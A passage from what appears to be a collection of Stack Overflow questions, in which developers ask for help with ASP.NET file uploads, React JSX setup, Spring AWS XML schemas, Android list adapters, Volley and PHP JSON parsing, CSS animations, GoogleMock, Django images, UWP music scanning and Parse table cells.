var formFile = new FormFile(stream, 0, stream.Length, response.Name, response.Name);
formFile.Headers = new HeaderDictionary()
{
new KeyValuePair<string, StringValues>("Content-Disposition", $"form-data; name=\"Company.UploadedLogo\"; filename=\"{response.Name}.png\""),
new KeyValuePair<string, StringValues>("Content-Type", "image/png"),
};
response.UploadedLogo = formFile;
}
}
return response;
}
</code></pre>
<p>And the UploadedLogo is populated and I bind that on Razor Page</p>
<pre><code><form method="post"
enctype="multipart/form-data"
data-ajax="true"
data-ajax-method="post"
data-ajax-begin="begin"
data-ajax-complete="completed"
data-ajax-failure="failed">
...
<div class="form-group row">
<div class="col-sm-2 text-right">
<label asp-for="@Model.Company.Logo" class="col-form-label"></label>
</div>
<div class="col-sm-9">
<input type="file" class="dropify" data-height="200"
asp-for="@Model.Company.UploadedLogo"
data-max-file-size="100K" data-allowed-file-extensions="png jpg jpeg" />
</div>
</div>
...
<div class="form-group modal-actions">
<input type="submit" class="btn btn-primary btn-icon-text btn-md btn-save-editing" value="Save" />
</div>
</form>
</code></pre>
<p>By the way, I am using <a href="https://github.com/JeremyFagis/dropify" rel="nofollow noreferrer">Dropify</a> as file upload plugin and <a href="https://github.com/aspnet/jquery-ajax-unobtrusive" rel="nofollow noreferrer">jquery-ajax-unobtrusive</a> library to handle post requests. Here is the post method:</p>
<pre><code>public async Task<CompanyModel> OnPostAsync(CompanyModel company)
{
CompanyModel result = new CompanyModel();
try
{
if (company.UploadedLogo != null)
company.Logo = await company.UploadedLogo.GetBytes();
var response = await _companyService.SaveAsync(company);
if (response != null)
result = response;
}
catch (Exception ex)
{
_Logger.LogException(ex);
}
return result;
}
</code></pre>
<p>Now here is the scenario:</p>
<ul>
<li>When I am adding a new company, I enter company name and browse a file from my computer, and save the data. I can see Uploaded logo in company model received in post request, which is then converted to byte[] and saved in database. Everything is fine. Below is the fiddler capture:
<a href="https://i.stack.imgur.com/WRHln.png" rel="nofollow noreferrer">Fiddler capture for INSERT</a></li>
<li><strong>Problem starts</strong> when I try to edit the company. I open the company, service fetches the data, convert byte[] to IFormFile and the data (name + logo) is shown on the form. I just edit the name, do not touch the logo and let it be as it is and hit save. At this point, the Uploaded logo is null in company model received in post request. Below is the fiddler capture:
<a href="https://i.stack.imgur.com/scUt4.png" rel="nofollow noreferrer">Fiddler capture for UPDATE</a></li>
</ul>
<p>I can see the difference in the posted requests captures clearly. The file is not there in the case of edit. But I don't know how to fix this. It has been a day I am hurting my brain on this, can anyone assist me on this please?</p>
<p><strong>UPDATE:</strong> Added fiddler captures as well.</p>
| 3 | 1,911 |
How can I setup Visual Studio Code(VSC) or Sublime Text3 to run ReactJS
|
<p>I am new with ReactJS. I tried VSC and Sublime Text3 as my IDE. My OS is Windows 10, I installed NodeJS, Babel and added {"type": "module"} in package.json file. I cannot run or build JSX syntax. Below is a simple JSX file.</p>
<pre><code>import React from 'react';
const Footer = () => {
return(
<footer>
this is my footer
</footer>
);
}
export default Footer;
</code></pre>
<p>When I run(build with node in sublime) this I receive an error, please help setup my IDE.</p>
<pre><code>ExperimentalWarning: The ESM module loader is experimental.
file:///D:/myreact/src/components/Footer.js:6
<footer>
^
SyntaxError: Unexpected token '<'
at Loader.moduleStrategy (internal/modules/esm/translators.js:88:18)
at async link (internal/modules/esm/module_job.js:41:21)
</code></pre>
<p>Below is my package.json</p>
<pre><code>{
"name": "myreact",
"version": "0.1.0",
"private": true,
"type": "module",
"dependencies": {
"cra-template": "1.0.3",
"react": "^16.13.1",
"react-dom": "^16.13.1",
"react-scripts": "3.4.1"
},
"scripts": {
"start": "react-scripts start",
"build": "react-scripts build",
"test": "react-scripts test",
"eject": "react-scripts eject"
},
"eslintConfig": {
"extends": "react-app"
},
"browserslist": {
"production": [
">0.2%",
"not dead",
"not op_mini all"
],
"development": [
"last 1 chrome version",
"last 1 firefox version",
"last 1 safari version"
]
}
}
</code></pre>
<p>Here is a screenshot of my sublime
<a href="https://i.stack.imgur.com/4f0Yi.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4f0Yi.jpg" alt="enter image description here" /></a></p>
| 3 | 1,035 |
Error Spring integration xsd for aws sqs
|
<p>I'm getting an error:</p>
<pre><code>Caused by: org.xml.sax.SAXParseException; lineNumber: 16; columnNumber: 44; cvc-complex-type.2.4.c: The matching wildcard is strict, but no declaration can be found for element 'aws-messaging:sqs-async-client'.
at com.sun.org.apache.xerces.internal.util.ErrorHandlerWrapper.createSAXParseException(ErrorHandlerWrapper.java:203)
at com.sun.org.apache.xerces.internal.util.ErrorHandlerWrapper.error(ErrorHandlerWrapper.java:134)
at com.sun.org.apache.xerces.internal.impl.XMLErrorReporter.reportError(XMLErrorReporter.java:396)
at com.sun.org.apache.xerces.internal.impl.XMLErrorReporter.reportError(XMLErrorReporter.java:327)
at com.sun.org.apache.xerces.internal.impl.XMLErrorReporter.reportError(XMLErrorReporter.java:284)
at com.sun.org.apache.xerces.internal.impl.xs.XMLSchemaValidator$XSIErrorReporter.reportError(XMLSchemaValidator.java:452)
at com.sun.org.apache.xerces.internal.impl.xs.XMLSchemaValidator.reportSchemaError(XMLSchemaValidator.java:3230)
at com.sun.org.apache.xerces.internal.impl.xs.XMLSchemaValidator.handleStartElement(XMLSchemaValidator.java:1911)
at com.sun.org.apache.xerces.internal.impl.xs.XMLSchemaValidator.emptyElement(XMLSchemaValidator.java:760)
at com.sun.org.apache.xerces.internal.impl.XMLNSDocumentScannerImpl.scanStartElement(XMLNSDocumentScannerImpl.java:351)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl$FragmentContentDriver.next(XMLDocumentFragmentScannerImpl.java:2784)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentScannerImpl.java:602)
at com.sun.org.apache.xerces.internal.impl.XMLNSDocumentScannerImpl.next(XMLNSDocumentScannerImpl.java:112)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:505)
at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:841)
at com.sun.org.apache.xerces.internal.parsers.XML11Confin.parse(XML11Configuration.java:770)
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:339)
at org.springframework.beans.factory.xml.DefaultDocumentLoader.loadDocument(DefaultDocumentLoader.java:76)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadDocument(XmlBeanDefinitionReader.java:429)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:391)
</code></pre>
<p>I'm using the following xsd's: </p>
<pre><code><beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:aws-messaging="http://www.springframework.org/schema/c"
xmlns:int-aws="http://www.springframework.org/schema/c"
xmlns:aws-context="http://www.springframework.org/schema/p"
xmlns:int="http://www.springframework.org/schema/integration"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/integration
http://www.springframework.org/schema/integration/spring-integration.xsd"
default-lazy-init="true">
<description>
Connects to SQS, fetches the compressed payload and sends to
uncompress channel
Step 1 of the flow
</description>
<aws-messaging:sqs-async-client id="sqs"/>
<aws-context:context-credentials>
<aws-context:simple-credentials access-key="${aws.accesskey}"
secret-key="${aws.secretkey}"/>
</aws-context:context-credentials>
</code></pre>
<p>This used to work before. I used this as a template: <a href="https://github.com/spring-projects/spring-integration-aws/blob/master/src/test/java/org/springframework/integration/aws/config/xml/SqsMessageHandlerParserTests-context.xml" rel="nofollow noreferrer">https://github.com/spring-projects/spring-integration-aws/blob/master/src/test/java/org/springframework/integration/aws/config/xml/SqsMessageHandlerParserTests-context.xml</a> </p>
<p>Can you please help? Did something change?</p>
| 3 | 1,522 |
expandable listview child click event
|
<p>I am using following layout for child row of expandable listview</p>
<pre><code><?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="55dip"
android:orientation="vertical" >
<RelativeLayout
android:id="@+id/relativeItem"
android:layout_width="wrap_content"
android:layout_height="wrap_content" >
<TextView
android:id="@+id/labourheader"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentLeft="true"
android:layout_centerVertical="true"
android:layout_marginLeft="10dp"
android:paddingBottom="5dp"
android:textColor="#000000"
android:textSize="17dip" />
<TextView
android:id="@+id/labourrating"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerHorizontal="true"
android:layout_centerVertical="true"
android:layout_marginLeft="10dp"
android:paddingBottom="5dp"
android:textColor="#000000"
android:textSize="17dip" />
<Button
android:id="@+id/addtasks"
android:layout_width="30dp"
android:layout_height="20dp"
android:layout_alignParentRight="true"
android:layout_centerVertical="true"
android:layout_marginRight="5dp"
android:background="@drawable/plussquare"
android:textColor="#000000"
android:focusable="false"
android:textSize="17dip" />
<Button
android:id="@+id/showtaskbtn"
android:layout_width="90dp"
android:layout_height="30dp"
android:layout_centerVertical="true"
android:layout_toLeftOf="@id/addtasks"
android:textColor="#000000"
android:textSize="17dip" />
</RelativeLayout>
</LinearLayout>
</code></pre>
<p>I want to add click listener for ADDTASK and showtask button.and want to get position of header and child position.after that i want to pas this values to another activity.
i tried but its not giving me the proper positions on click listenr of buttons</p>
<p>following is code of ADAPTER</p>
<pre><code>public class ListAdapterforTask extends BaseExpandableListAdapter {
private Context _context;
private List<CategoryDetail> _listDataHeader;
private HashMap<CategoryDetail, List<LabourDetail>> _listDataChild;
LabourDetail b = new LabourDetail();
public ListAdapterforTask(Context context,
List<CategoryDetail> listDataHeader,
HashMap<CategoryDetail, List<LabourDetail>> listChildData) {
this._context = context;
this._listDataHeader = listDataHeader;// category name
this._listDataChild = listChildData;// labor name
}
@Override
public Object getChild(int groupPosition, int childPosititon) {
return this._listDataChild.get(this._listDataHeader.get(groupPosition))
.get(childPosititon);
}
@Override
public long getChildId(int groupPosition, int childPosition) {
return childPosition;
}
@Override
public View getChildView(final int groupPosition, final int childPosition,
boolean isLastChild, View convertView, ViewGroup parent) {
try {
if (convertView == null) {
LayoutInflater infalInflater = (LayoutInflater) this._context
.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
convertView = infalInflater.inflate(R.layout.task_child, null);
}
b = _listDataChild.get(_listDataHeader.get(groupPosition)).get(
childPosition);
TextView txtLabourname = (TextView) convertView
.findViewById(R.id.labourheader);
TextView txtLaborrate = (TextView) convertView
.findViewById(R.id.labourrating);
Button buttonAdd = (Button) convertView.findViewById(R.id.addtasks);
Button btnshowtask = (Button) convertView
.findViewById(R.id.showtaskbtn);
btnshowtask.setVisibility(View.GONE);
txtLabourname.setText(b.getcFirst_name() + "(" + b.getcLabor_id()
+ ")");
AddTaskToDb add = new AddTaskToDbImpl();
List<TaskDetail> listtask = add.findByLabourid(Integer.parseInt(b
.getcLabor_id()));
for (int i = 0; i < listtask.size(); i++) {
btnshowtask.setVisibility(View.VISIBLE);
String firstTask = listtask.get(0).getcTask_Name();
btnshowtask.setText(firstTask);
}
btnshowtask.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// LabourDetail b = listDataChild.get(
// categoryList.get(groupPosition)).get(childPosition);
//
// Intent i = new Intent(TaskAssigmentActivity.this,
// TaskActivity.class);
// i.putExtra("catid", b.getcCategory_id());
// i.putExtra("labid", b.getcLabor_id());
// startActivity(i);
}
});
// String ratingstr=String.valueOf(b.getcRating());
//
// int rating=Integer.valueOf(ratingstr);
txtLaborrate.setText(b.getcRating() + "");
buttonAdd.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// int position=(Integer)v.getTag();
//b = _listDataChild.get(_listDataHeader.get(groupPosition)).get(
// position);
Intent i = new Intent(_context, TaskActivity.class);
i.putExtra("catid", b.getcCategory_id());
i.putExtra("labid", b.getcLabor_id());
_context.startActivity(i);
}
});
} catch (Exception e) {
}
return convertView;
}
@Override
public int getChildrenCount(int groupPosition) {
return this._listDataChild.get(this._listDataHeader.get(groupPosition))
.size();
}
@Override
public Object getGroup(int groupPosition) {
return this._listDataHeader.get(groupPosition);
}
@Override
public int getGroupCount() {
return this._listDataHeader.size();
}
@Override
public long getGroupId(int groupPosition) {
return groupPosition;
}
@Override
public View getGroupView(int groupPosition, boolean isExpanded,
View convertView, ViewGroup parent) {
if (convertView == null) {
LayoutInflater infalInflater = (LayoutInflater) this._context
.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
convertView = infalInflater.inflate(R.layout.task_assign_group,
null);
}
TextView lblListHeader = (TextView) convertView
.findViewById(R.id.lblListHeader);
TextView lbllabournum = (TextView) convertView
.findViewById(R.id.labourNumberabsent);
List<LabourDetail> list = _listDataChild.get(_listDataHeader
.get(groupPosition));
int count = list.size();
String counter = String.valueOf(count);
lbllabournum.setText(counter);
lblListHeader.setTypeface(null, Typeface.BOLD);
lblListHeader.setText(_listDataHeader.get(groupPosition)
.getcCategory_Name());
return convertView;
}
@Override
public boolean hasStableIds() {
return false;
}
@Override
public boolean isChildSelectable(int groupPosition, int childPosition) {
return true;
}
}
</code></pre>
| 3 | 3,858 |
jsonResponse.getJSONArray not working
|
<p>I'm trying to fetch data from MySQL database which is on web server.
my goal is to retrieve array of location data which is already on MySQL database.
I'm getting this array of data from server,but I cant convert it from jsonResponse.getJSONArray to JSONArray object.</p>
<pre><code>private void setUpMap() {
Response.Listener<String> responseListener=new Response.Listener<String>(){
@Override
public void onResponse(String s) {
try {
JSONObject jsonResponse=new JSONObject(s);
boolean success=jsonResponse.getBoolean("success");
if(success){ //this is true, and also all the data is arrived
JSONArray jsonArray = jsonResponse.getJSONArray("data"); //after this line it doesnt work,it doesn't enter in for loop
JSONObject jsonObject;
for(int i=0;i<jsonArray.length();i++){
jsonObject=jsonArray.getJSONObject(i);
String mac=jsonObject.getString("mac");
String android_id=jsonObject.getString("android_id");
Double latitude=jsonObject.getDouble("latitude");
Double longitude=jsonObject.getDouble("longitude");
if(!isMarkerOnArray(markerCollection,latitude,longitude))
markerCollection.add(mMap.addMarker(new MarkerOptions().position(new LatLng(latitude,longitude))));
}
}
else{
AlertDialog.Builder builder=new AlertDialog.Builder(MapsActivity.this);
builder.setMessage("Downloading position failed")
.setNegativeButton("retry",null)
.create()
.show();
}
} catch (JSONException e) {
e.printStackTrace();
}
}
};
DownloadPosition downloadPosition=new DownloadPosition(responseListener);
RequestQueue queue= Volley.newRequestQueue(MapsActivity.this);
queue.add(downloadPosition);
}
</code></pre>
<p><a href="http://i.stack.imgur.com/CH4uM.png" rel="nofollow">debug</a></p>
<p>this is my php script</p>
<pre><code>`<?php
$con=mysqli_connect("","","","");
$sql="SELECT * FROM positions";
$result=mysqli_query($con,$sql);
$response["data"]=array();
$data=array();
$data["success"]=false;
$i=0;
while($rs = mysqli_fetch_assoc($result)){
$data["success"]=true;
$data[$i] = array('id'=>$rs['id'],'mac'=>$rs['mac'], 'android_id'=>$rs['android_id'], 'latitude'=> $rs['latitude'],'longitude'=> $rs['longitude']);
$i++;
}
echo json_encode($data);
mysqli_close($con);
?>`
</code></pre>
<p>so my question is how can I get JSONArray object from jsonResponse.getJSONArray() ?</p>
<p><strong>edit:</strong>
<a href="http://i.stack.imgur.com/vm5UU.png" rel="nofollow">this is json</a></p>
| 3 | 1,349 |
HTML, Border Blocking Problem on Welcome Screen
|
<p>The Code:</p>
<pre><code><html>
<style>
.img {
max-width: 100%;
}
.Headerstyle {
color: Black;
transition: transform .2s;
text-align: center;
margin-top: 39%;
}
.Headerstyle:hover {
transform: scale(1.5);
transition: 0.2s;
}
.HeaderstyleBack {
color: white;
transition: transform .2s;
text-align: center;
margin-top: 39%;
}
.HeaderstyleBack:hover {
transform: scale(1.5);
transition: 0.2s;
}
.image1 {
padding: 10px;
transition: transform .2s;
}
.image2 {
padding: 10px;
transition: transform .2s;
}
.image1:hover {
#border: 4px solid green;
#border-radius: 15px;
transform: scale(1.5);
transition: 0.2s;
}
.image2:hover {
#border: 4px solid green;
#border-radius: 15px;
transform: scale(1.5);
transition: 0.2s;
}
.imageback1 {
padding: 10px;
transition: transform .2s;
}
.imageback2 {
padding: 10px;
transition: transform .2s;
}
.imageback1:hover {
#border: 4px solid green;
#border-radius: 15px;
transform: scale(1.5);
transition: 0.2s;
}
.imageback2:hover {
#border: 4px solid green;
#border-radius: 15px;
transform: scale(1.5);
transition: 0.2s;
}
.footer {
position: relative;
left: 0;
bottom: 7%;
width: 100%;
background-color: ##0000ffff;
color: white;
text-align: center;
}
body {
border-style: solid;
border-width: 17px;
border-radius: 5px;
padding: 100px;
transition: 5s;
}
body {
margin: 0;
padding: 0;
animation: pulse 5s infinite;
}
.container {
width: 100%;
margin: 0px;
}
.Loading {
position: relative;
display: inline-block;
width: 100%;
height: 10%;
background: #f1f1f1;
box-shadow: inset 0 0 5px rgba(0, 0, 0, .2);
border-radius: 4px;
overflow: hidden;
margin-bottom: -50px;
}
.Loading:after {
content: '';
position: absolute;
background: blue;
width: 10%;
height: 100%;
border-radius: 2px;
box-shadow: 0 0 5px rgba(0, 0, 0, .2);
animation: load 5s infinite;
}
@keyframes load {
0% {
left: 0%;
}
25% {
width: 50%;
left: 50%
}
50% {
width: 10%;
left: 90%
}
75% {
width: 50%;
left: 0%
}
100% {
width: 10%;
left: 0%
}
}
@keyframes pulse {
0% {
border-color: gray;
}
25% {
border-color: gray;
}
50% {
border-color: gray;
}
75% {
border-color: #282828;
}
100% {
border-color: #282828;
}
}
.LoadingBack {
position: relative;
display: inline-block;
width: 100%;
height: 10%;
background: #000000;
box-shadow: inset 0 0 5px rgba(0, 0, 0, .2);
border-radius: 4px;
overflow: hidden;
margin-bottom: -50px;
}
.LoadingBack:after {
content: '';
position: absolute;
background: white;
width: 10%;
height: 100%;
border-radius: 2px;
box-shadow: 0 0 5px rgba(0, 0, 0, .2);
animation: load 5s infinite;
}
@keyframes load {
0% {
left: 0%;
}
25% {
width: 50%;
left: 50%
}
50% {
width: 10%;
left: 90%
}
75% {
width: 50%;
left: 0%
}
100% {
width: 10%;
left: 0%
}
}
@keyframes pulse {
0% {
border-color: #6699ff;
}
25% {
border-color: #ff6600;
}
50% {
border-color: #6699ff;
}
75% {
border-color: #ff6600;
}
100% {
border-color: #6699ff;
}
}
/* The flip card container - set the width and height to whatever you want. We have added the border property to demonstrate that the flip itself goes out of the box on hover (remove perspective if you don't want the 3D effect */
.flip-card {
background-color: transparent;
width: 100%;
height: 100%;
border: 1px solid #f1f1f1;
perspective: 1000px;
/* Remove this if you don't want the 3D effect */
}
/* This container is needed to position the front and back side */
.flip-card-inner {
position: relative;
width: 100%;
height: 100%;
text-align: center;
transition: transform 1.5s;
transform-style: preserve-3d;
}
/* Do an horizontal flip when you move the mouse over the flip box container */
.flip-card:active .flip-card-inner {
transform: rotateY(180deg);
}
/* Position the front and back side */
.flip-card-front,
.flip-card-back {
position: absolute;
width: 100%;
height: 100%;
-webkit-backface-visibility: hidden;
/* Safari */
backface-visibility: hidden;
}
/* Style the front side (fallback if image is missing) */
.flip-card-front {
background-color: #FFFDD0;
color: black;
}
/* Style the back side */
.flip-card-back {
# background-color: orange;
color: white;
font: 18px Arial, sans-serif;
background-image: url('https://c.tenor.com/YR9WPlpD1zEAAAAd/cloud.gif');
background-size: cover;
transform: rotateY(180deg);
}
//////////////////////////
*{
margin: 0px;
padding: 0px;
}
body{
font-family: Ariel, Helvetica, sans-serif;
background-color: #A3EBB1 ;
color: white;
line-height: 1.6;
text-align: center;
}
.container-welcome{
max-width: 960px;
margin: auto;
padding: 0 30px;
}
#showcase{
height: 300px;
}
#showcase h1{
font-size: 50px;
line-height: 1.3;
position: relative;
animation: heading;
animation-duration: 2.5s;
animation-fill-mode: forwards;
}
@keyframes heading{
0% {top: -50px;}
100% {top: 200px;}
}
#visual2 {
position: relative;
animation-name: visual;
animation-duration: 2s;
animation-fill-mode: forwards;
}
@keyframes visua2l{
0% {left: -1000px;}
100% {left: 0px;}
}
#visual {
position: relative;
animation: mymove 5s infinite;
}
@keyframes mymove {
50% {transform: rotate(45deg);}
}
.homepage {
display = 'none';
}
//////////////////////////
</style>
<script>
function delay(time) {
return new Promise(resolve => setTimeout(resolve, time));
}
function bodyOnload() {
document.getElementById('animatedImg').style.WebkitTransitionDuration = '1s';
document.getElementById('animatedImg').style.webkitTransform = 'rotate(45deg)';
delay(900).then(() => {
document.getElementById('animatedImg').src = "https://www.iconsdb.com/icons/preview/black/wink-xxl.png";
/* if you don't want to rotate base delete this delay block*/
delay(900).then(() => {
document.getElementById('animatedImg').src = "https://www.iconsdb.com/icons/preview/white/emoticon-30-xxl.png";
document.getElementById('animatedImg').style.WebkitTransitionDuration = '1s';
document.getElementById('animatedImg').style.webkitTransform = 'rotate(0)';
setTimeout(() => { const box = document.getElementById('animatedImg'); box.style.display = 'none';}, 2000);
setTimeout(() => { const box = document.getElementById('showcase'); box.style.display = 'none';}, 2000);
setTimeout(() => { const box2 = document.getElementById('homepage'); box2.style.display = 'block';}, 2000);
});
});
}
</script>
<body>
<head>
<title>Dynamic Web Page</title>
</head>
<header id="showcase">
<h1>Uygulamaya Hoşgeldiniz</h1>
</header>
<body onload="bodyOnload()">
<div class="container-welcome">
<img id="animatedImg" src="https://www.iconsdb.com/icons/preview/white/emoticon-30-xxl.png">
</div>
</body>
<div class="flip-card" id="homepage" style= "display:none;">
<div class="flip-card-inner">
<div class="flip-card-front">
<div class="footer" style="
display: flex;
flex-direction: column;
justify-content: space-between;
height: 100vh;">
<p class="Headerstyle"><b></b></p>
<div>
<div style="display: flex;justify-content: center;">
<a href="https://stackoverflow.com/"><img class="image1" src="https://cdn-icons-png.flaticon.com/128/2111/2111628.png" alt="stackoverflow icon" width="60" height="60"></a>
<a href="https://www.linkedin.com"><img class="image2" src="https://cdn-icons-png.flaticon.com/512/174/174857.png" alt="linkedin icon" width="60" height="60"></a>
</div>
<div class="container">
</div>
<div class="Loading"></div>
</div>
</div>
</div>
<div class="flip-card-back">
<div class="footer" style="
display: flex;
flex-direction: column;
justify-content: space-between;
height: 100vh;">
<p class="HeaderstyleBack"><b>tasci.murat06@gmail.com</b></p>
<div>
<div style="display: flex;justify-content: center;">
<a href="https://stackoverflow.com/"><img class="imageback1" src="https://cdn.iconscout.com/icon/free/png-64/stack-overflow-3770615-3147335.png" alt="stackoverflow icon" width="60" height="60"></a>
<a href="https://www.linkedin.com"><img class="imageback2" src="https://cdn.iconscout.com/icon/free/png-64/linkedin-104-436658.png" alt="linkedin icon" width="60" height="60"></a>
</div>
<div class="container">
</div>
<div class="LoadingBack"></div>
</div>
</div>
</div>
</div>
</body>
</html>
</code></pre>
<p>Hello friends, How can I prevent the border from appearing when the welcome screen appears?
That means I want to see a border on the only main page. How can fix this on my code? I couldn't block the border during the welcome screen. I also added a picture of the desired situation. You can see it below. I am waiting for your help.
<a href="https://i.stack.imgur.com/voIsc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/voIsc.png" alt="enter image description here" /></a></p>
| 3 | 5,133 |
Using GoogleMock to avoid dependencies when testing a Card and a CardCollection class
|
<p>I'm learning about mocking and am reasonably new to the concepts. For the sake of learning, I'm implementing a <code>Card</code> class and a <code>CardCollection</code> class which depends on the <code>Card</code>. Therefore I've created a <code>MockCard</code> for testing the <code>CardCollection</code>.</p>
<p>Here's the <code>Card.h</code></p>
<pre><code> class ICard {
protected:
int rank_;
std::string suit_;
public:
ICard(int rank, std::string suit) : rank_(rank), suit_(std::move(suit)) {};
[[nodiscard]] virtual int getRank() const = 0;
[[nodiscard]] virtual std::string getSuit() const = 0;
friend std::ostream &operator<<(std::ostream &os, const ICard &c);
bool operator>(const ICard &other) const;
bool operator<(const ICard &other) const;
bool operator<=(const ICard &other) const;
bool operator>=(const ICard &other) const;
bool operator==(const ICard &other) const;
bool operator!=(const ICard &other) const;
};
class Card : public ICard {
public:
Card(int r, std::string s);
[[nodiscard]] int getRank() const override;
[[nodiscard]] std::string getSuit() const override;
};
</code></pre>
<p>The <code>MockCard.h</code></p>
<pre><code>#include "gmock/gmock.h"
class MockCard : public ICard {
public:
MockCard(int rank, std::string suit) : ICard(rank, std::move(suit)){};
MOCK_METHOD(int, getRank, (), (const, override));
MOCK_METHOD(std::string, getSuit, (), (const, override));
};
</code></pre>
<p>And <code>CardCollection.h</code>:</p>
<pre><code> #include "Card.h"
class CardCollection {
protected:
vector<ICard *> cards_;
public:
CardCollection() = default;
~CardCollection() = default;
explicit CardCollection(vector<ICard*> cards);
ICard* pop();
...
</code></pre>
<p>Here is my test:</p>
<pre><code>#include "gmock/gmock.h"
TEST(CardCollectionTests, TestPop) {
MockCard card1(6, "C");
std::vector<ICard*> cards({&card1});
CardCollection cc(cards);
// pop the card off the collection, cast to MockCard
auto* new_card = (MockCard*) cc.pop();
ASSERT_EQ(6, new_card->getRank());
}
</code></pre>
<p>The best test that I can think of is to verify that the Card is a 6 of clubs. But we can't use the <code>Card</code> class directly as this would introduce unwanted dependencies into the unit test. So I resolve to cast the <code>ICard*</code> returned from <code>CardCollection::pop</code> to a <code>MockCard*</code> type so that we can use the <code>getRank()</code> method and test that the value returned is a <code>6</code>. However, this is a <code>MockCard</code> not a <code>Card</code> so <code>getRank()</code> actually returns a <code>0</code> and the test fails.</p>
<p>How can I set the value returned by <code>MockCard::getRank()</code> to <code>6</code>? More generally, Are there any obvious pitfalls you can see in my approach to testing this behavior and if so, what would you implement as an alternative?</p>
| 3 | 1,230 |
cant make connections betwen uploaded image and template django
|
<p>I'm trying to upload a picture for my post model by admin panel but I can't display it in my template, please help
this is my post model
and I get this error please help me
ValueError at /
The 'Img' attribute has no file associated with it.</p>
<pre><code>class Post(models.Model):
author = models.ForeignKey('auth.User', on_delete=models.CASCADE ,null=True)
title = models.CharField(max_length=200,default='a')
text = models.TextField(default='a')
Img = models.ImageField(upload_to='images/',null =True)
</code></pre>
<p>and for urls.py i used this code:</p>
<pre><code>if settings.DEBUG: # new
urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
</code></pre>
<p>and views.py:</p>
<pre><code>def post_list(request):
posts= Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')
return render(request, 'post/index.html', {'posts': posts})
</code></pre>
<p>and finally my index.html template:</p>
<pre><code>{% for post in posts %}
<div class="blog-post-thumb ">
<div class="blog-post-image ">
<a href="single-post.html ">
<img src="{{post.Img.url}}" class="img-responsive " alt="Blog Image ">
</a>
</div>
<div class="blog-post-title ">
<h3><a href="single-post.html ">{{ post.title }}</a></h3>
</div>
<div class="blog-post-format ">
<span><a href="# "><img src="images/author-image1.jpg " class="img-responsive img-circle ">A</a></span>
<span><i class="fa fa-date "></i> published: {{ post.published_date }}</span>
<span><a href="# "><i class="fa fa-comment-o "></i> Comments</a></span>
</div>
<div class="blog-post-des ">
<p>{{ post.text|linebreaksbr }}</p>
<a href="single-post.html " class="btn btn-default ">Continue Reading</a>
</div>
</div>
{% endfor %}
</code></pre>
| 3 | 1,447 |
c# UWP scan for music files
|
<p>I am implementing a music player for windows 10, and i am in a bit of a pickle at the library phase.</p>
<p>I am scanning for all the files in music library (plus optional folders the user selects) and i need to also get their tags (only need the title and artist, don't need complex details).</p>
<p>The problem is performance. Getting the music properties cost ALOT if you have a large media library. At the moment i am doing the following:</p>
<pre><code>private void UserControl_Loaded(object sender, RoutedEventArgs e)
{
Task.Factory.StartNew(async () =>
{
try
{
var files = await StorageHelper.GetFiles(KnownFolders.MusicLibrary);
List<LocalAudio> tempList = new List<LocalAudio>();
foreach (var file in files)
{
MusicProperties properties = await file.Properties.GetMusicPropertiesAsync();
var title = string.IsNullOrWhiteSpace(properties.Title) ? file.Name : properties.Title;
var artist = string.IsNullOrWhiteSpace(properties.Artist) ? file.Path : properties.Artist;
tempList.Add(new LocalAudio() { Title = title, FilePath = file.Path, Artist = artist, Duration = properties.Duration });
if (tempList.Count > 50)
{
await AddToLibrary(tempList);
tempList.Clear();
}
}
await AddToLibrary(tempList);
tempList.Clear();
}
catch (Exception ex)
{
//log exception here
}
});
}
private async Task AddToLibrary(List<LocalAudio> tempList)
{
await Dispatcher.RunAsync(Windows.UI.Core.CoreDispatcherPriority.Normal, () =>
{
foreach (var item in tempList)
{
this.LocalFiles.Add(item);
}
});
}
</code></pre>
<p>Where "LocalAudio" is my audio model and this.LocalFiles is an ObservableCollection.
Also, the StorageHelper.GetFiles(StorageFolder) method returns an IEnumerable of StorageFiles (music files) (it's a recursive method to go in depth).</p>
<p>I am adding batches of 50 files on the dispatcher thread so i won't block the UI (i know, even if it is an async method running in a task that i started by fire-and-forget it still blocks the UI if i add them continuously...).</p>
<p>My question is: how can i optimize this better?
Any idea is good. I was thinking to scan them once and save the music properties (title, artist and duration) in a file and read that file on application start and just sync the filename with the data i have in that file (a dictionary or something and read the file and keep it in memory). Not sure how good this idea is.</p>
<p>Thank you for taking your time reading my silly questions :)</p>
| 3 | 1,186 |
Parse iOS SDK: Dynamic cell height for PFQueryTableViewController based on results from Query
|
<p><strong>Scenario</strong> </p>
<p>I have an app that downloads data from my parse.com database and displays it into a PFQueryTableViewController. The PFQTVC has multiple (6) prototype cells each with their own reuseIdentifier as well as most importantly, their own height. I am currently using the following design to find the correct height for each <code>indexPath.row</code>...</p>
<p><strong>Currently</strong></p>
<p><em>this works before enabling paging</em></p>
